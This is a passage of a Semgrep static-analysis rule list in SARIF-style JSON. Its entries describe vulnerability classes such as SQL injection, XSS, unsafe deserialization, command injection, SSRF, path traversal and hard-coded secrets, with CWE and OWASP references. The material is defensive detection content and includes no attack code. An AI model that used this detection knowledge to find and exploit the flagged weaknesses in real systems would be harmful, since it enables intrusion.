[https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/launch_configuration#metadata_options](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/launch_configuration#metadata_options)\n - [https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service](https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service)\n","text":"The EC2 launch template has Instance Metadata Service Version 1 (IMDSv1) enabled. IMDSv2 introduced session authentication tokens which improve security when talking to IMDS. You should either disable IMDS or require the use of IMDSv2."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ec2-launch-template-metadata-service-v1-enabled.aws-ec2-launch-template-metadata-service-v1-enabled","id":"terraform.aws.security.aws-ec2-launch-template-metadata-service-v1-enabled.aws-ec2-launch-template-metadata-service-v1-enabled","name":"terraform.aws.security.aws-ec2-launch-template-metadata-service-v1-enabled.aws-ec2-launch-template-metadata-service-v1-enabled","properties":{"precision":"very-high","tags":["CWE-1390: Weak Authentication","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ec2-launch-template-metadata-service-v1-enabled.aws-ec2-launch-template-metadata-service-v1-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Picatic API Key detected"},"help":{"markdown":"Picatic API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-picatic-api-key.detected-picatic-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Picatic API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-picatic-api-key.detected-picatic-api-key","id":"generic.secrets.security.detected-picatic-api-key.detected-picatic-api-key","name":"generic.secrets.security.detected-picatic-api-key.detected-picatic-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-picatic-api-key.detected-picatic-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a go-pg ORM SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, do not use strings concatenated with user-controlled input. Instead, use parameterized statements."},"help":{"markdown":"Detected string concatenation with a non-literal variable in a go-pg ORM SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, do not use strings concatenated with user-controlled input. Instead, use parameterized statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.sqli.pg-orm-sqli.pg-orm-sqli)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Detected string concatenation with a non-literal variable in a go-pg ORM SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, do not use strings concatenated with user-controlled input. Instead, use parameterized statements."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.sqli.pg-orm-sqli.pg-orm-sqli","id":"go.lang.security.audit.sqli.pg-orm-sqli.pg-orm-sqli","name":"go.lang.security.audit.sqli.pg-orm-sqli.pg-orm-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.sqli.pg-orm-sqli.pg-orm-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or execute other typical XSS attacks."},"help":{"markdown":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or execute other typical XSS attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-evaluatejavascript-xss.swift-evaluate-js)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n","text":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or execute other typical XSS attacks."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-evaluatejavascript-xss.swift-evaluate-js","id":"swift.webview.webview-evaluatejavascript-xss.swift-evaluate-js","name":"swift.webview.webview-evaluatejavascript-xss.swift-evaluate-js","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-evaluatejavascript-xss.swift-evaluate-js"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"os.pwritev() is only available on Python 3.3+ and is therefore not backwards compatible. Instead, use a combination of pwrite() and writev()."},"help":{"markdown":"os.pwritev() is only available on Python 3.3+ and is therefore not backwards compatible. Instead, use a combination of pwrite() and writev().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-os2-ok2)\n","text":"os.pwritev() is only available on Python 3.3+ and is therefore not backwards compatible. Instead, use a combination of pwrite() and writev()."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-os2-ok2","id":"python.lang.compatibility.python37.python37-compatibility-os2-ok2","name":"python.lang.compatibility.python37.python37-compatibility-os2-ok2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-os2-ok2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RDS instance accessible from the Internet detected."},"help":{"markdown":"RDS instance accessible from the Internet detected.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.rds-public-access.rds-public-access)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_instance#publicly_accessible](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_instance#publicly_accessible)\n - [https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_VPC.WorkingWithRDSInstanceinaVPC.html#USER_VPC.Hiding](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_VPC.WorkingWithRDSInstanceinaVPC.html#USER_VPC.Hiding)\n","text":"RDS instance accessible from the Internet detected."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.rds-public-access.rds-public-access","id":"terraform.lang.security.rds-public-access.rds-public-access","name":"terraform.lang.security.rds-public-access.rds-public-access","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.rds-public-access.rds-public-access"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-jsonpickle-flask.tainted-jsonpickle-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-jsonpickle-flask.tainted-jsonpickle-flask","id":"python.flask.deserialization.tainted-jsonpickle-flask.tainted-jsonpickle-flask","name":"python.flask.deserialization.tainted-jsonpickle-flask.tainted-jsonpickle-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-jsonpickle-flask.tainted-jsonpickle-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Triple DES (3DES or DESede) is considered deprecated. AES is the recommended cipher. Upgrade to use AES."},"help":{"markdown":"Triple DES (3DES or DESede) is considered deprecated. AES is the recommended cipher. Upgrade to use AES.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated)\n - [https://csrc.nist.gov/News/2017/Update-to-Current-Use-and-Deprecation-of-TDEA](https://csrc.nist.gov/News/2017/Update-to-Current-Use-and-Deprecation-of-TDEA)\n","text":"Triple DES (3DES or DESede) is considered deprecated. AES is the recommended cipher. Upgrade to use AES."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated","id":"java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated","name":"java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'ssl.wrap_socket()' is deprecated. This function creates an insecure socket without server name indication or hostname matching. Instead, create an SSL context using 'ssl.SSLContext()' and use that to wrap a socket."},"help":{"markdown":"'ssl.wrap_socket()' is deprecated. This function creates an insecure socket without server name indication or hostname matching. Instead, create an SSL context using 'ssl.SSLContext()' and use that to wrap a socket.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.ssl-wrap-socket-is-deprecated.ssl-wrap-socket-is-deprecated)\n - [https://docs.python.org/3/library/ssl.html#ssl.wrap_socket](https://docs.python.org/3/library/ssl.html#ssl.wrap_socket)\n - [https://docs.python.org/3/library/ssl.html#ssl.SSLContext.wrap_socket](https://docs.python.org/3/library/ssl.html#ssl.SSLContext.wrap_socket)\n","text":"'ssl.wrap_socket()' is deprecated. This function creates an insecure socket without server name indication or hostname matching. Instead, create an SSL context using 'ssl.SSLContext()' and use that to wrap a socket."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.ssl-wrap-socket-is-deprecated.ssl-wrap-socket-is-deprecated","id":"python.lang.security.audit.ssl-wrap-socket-is-deprecated.ssl-wrap-socket-is-deprecated","name":"python.lang.security.audit.ssl-wrap-socket-is-deprecated.ssl-wrap-socket-is-deprecated","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.ssl-wrap-socket-is-deprecated.ssl-wrap-socket-is-deprecated"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'render inline: ...' renders an entire ERB template inline and is dangerous. If external data can reach here, this exposes your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks. Instead, consider using a partial or another safe rendering method."},"help":{"markdown":"'render inline: ...' renders an entire ERB template inline and is dangerous. If external data can reach here, this exposes your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks. Instead, consider using a partial or another safe rendering method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-inline.avoid-render-inline)\n - [https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#inline-renders---even-worse-than-xss](https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#inline-renders---even-worse-than-xss)\n","text":"'render inline: ...' renders an entire ERB template inline and is dangerous. If external data can reach here, this exposes your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks. Instead, consider using a partial or another safe rendering method."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-inline.avoid-render-inline","id":"ruby.rails.security.audit.xss.avoid-render-inline.avoid-render-inline","name":"ruby.rails.security.audit.xss.avoid-render-inline.avoid-render-inline","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-render-inline.avoid-render-inline"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks if HTML escaping is globally disabled for JSON output. This could lead to XSS."},"help":{"markdown":"Checks if HTML escaping is globally disabled for JSON output. This could lead to XSS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.json-entity-escape.json-entity-escape)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Checks if HTML escaping is globally disabled for JSON output. This could lead to XSS."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.json-entity-escape.json-entity-escape","id":"ruby.lang.security.json-entity-escape.json-entity-escape","name":"ruby.lang.security.json-entity-escape.json-entity-escape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.json-entity-escape.json-entity-escape"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration disables Perfect Forward Secrecy (PFS) for one or more domains. PFS is a cryptographic technique to ensure the confidentiality of prior communications, even if the long-term secret keys are compromised in the future."},"help":{"markdown":"The application's App Transport Security (ATS) configuration disables Perfect Forward Secrecy (PFS) for one or more domains. PFS is a cryptographic technique to ensure the confidentiality of prior communications, even if the long-term secret keys are compromised in the future.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-pfs.ATS-disables-PFS)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration disables Perfect Forward Secrecy (PFS) for one or more domains. PFS is a cryptographic technique to ensure the confidentiality of prior communications, even if the long-term secret keys are compromised in the future."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-pfs.ATS-disables-PFS","id":"swift.insecure-communication.ats.ats-pfs.ATS-disables-PFS","name":"swift.insecure-communication.ats.ats-pfs.ATS-disables-PFS","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-pfs.ATS-disables-PFS"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","id":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","name":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection for more information."},"help":{"markdown":"The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.httpsconnection-detected.httpsconnection-detected)\n - [https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection](https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection)\n","text":"The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection for more information."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.httpsconnection-detected.httpsconnection-detected","id":"python.lang.security.audit.httpsconnection-detected.httpsconnection-detected","name":"python.lang.security.audit.httpsconnection-detected.httpsconnection-detected","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.httpsconnection-detected.httpsconnection-detected"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a 'ProcessBuilder' or 'exec' command. This could lead to command injection if variables passed into the exec commands are not properly sanitized. Instead, avoid using these OS commands with user-supplied input, or, if you must use these commands, use a whitelist of specific values."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a 'ProcessBuilder' or 'exec' command. This could lead to command injection if variables passed into the exec commands are not properly sanitized. Instead, avoid using these OS commands with user-supplied input, or, if you must use these commands, use a whitelist of specific values.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected input from a HTTPServletRequest going into a 'ProcessBuilder' or 'exec' command. This could lead to command injection if variables passed into the exec commands are not properly sanitized. Instead, avoid using these OS commands with user-supplied input, or, if you must use these commands, use a whitelist of specific values."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request","id":"java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request","name":"java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.pymysql-sqli.pymysql-sqli)\n - [https://pypi.org/project/PyMySQL/#id4](https://pypi.org/project/PyMySQL/#id4)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`"},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.pymysql-sqli.pymysql-sqli","id":"python.aws-lambda.security.pymysql-sqli.pymysql-sqli","name":"python.aws-lambda.security.pymysql-sqli.pymysql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.pymysql-sqli.pymysql-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-setcontent-injection.puppeteer-setcontent-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-setcontent-injection.puppeteer-setcontent-injection","id":"javascript.puppeteer.security.audit.puppeteer-setcontent-injection.puppeteer-setcontent-injection","name":"javascript.puppeteer.security.audit.puppeteer-setcontent-injection.puppeteer-setcontent-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.puppeteer.security.audit.puppeteer-setcontent-injection.puppeteer-setcontent-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data from request is passed to a file name `$FILE`. This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library."},"help":{"markdown":"Data from request is passed to a file name `$FILE`. This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-file-name.path-traversal-file-name)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Data from request is passed to a file name `$FILE`. This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-file-name.path-traversal-file-name","id":"python.django.security.injection.path-traversal.path-traversal-file-name.path-traversal-file-name","name":"python.django.security.injection.path-traversal.path-traversal-file-name.path-traversal-file-name","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.path-traversal.path-traversal-file-name.path-traversal-file-name"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep)\n - [https://castor-data-binding.github.io/castor/reference-guide/reference/xml/xml-framework.html](https://castor-data-binding.github.io/castor/reference-guide/reference/xml/xml-framework.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`."},"helpUri":"https://semgrep.dev/r/java.spring.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","id":"java.spring.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","name":"java.spring.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: 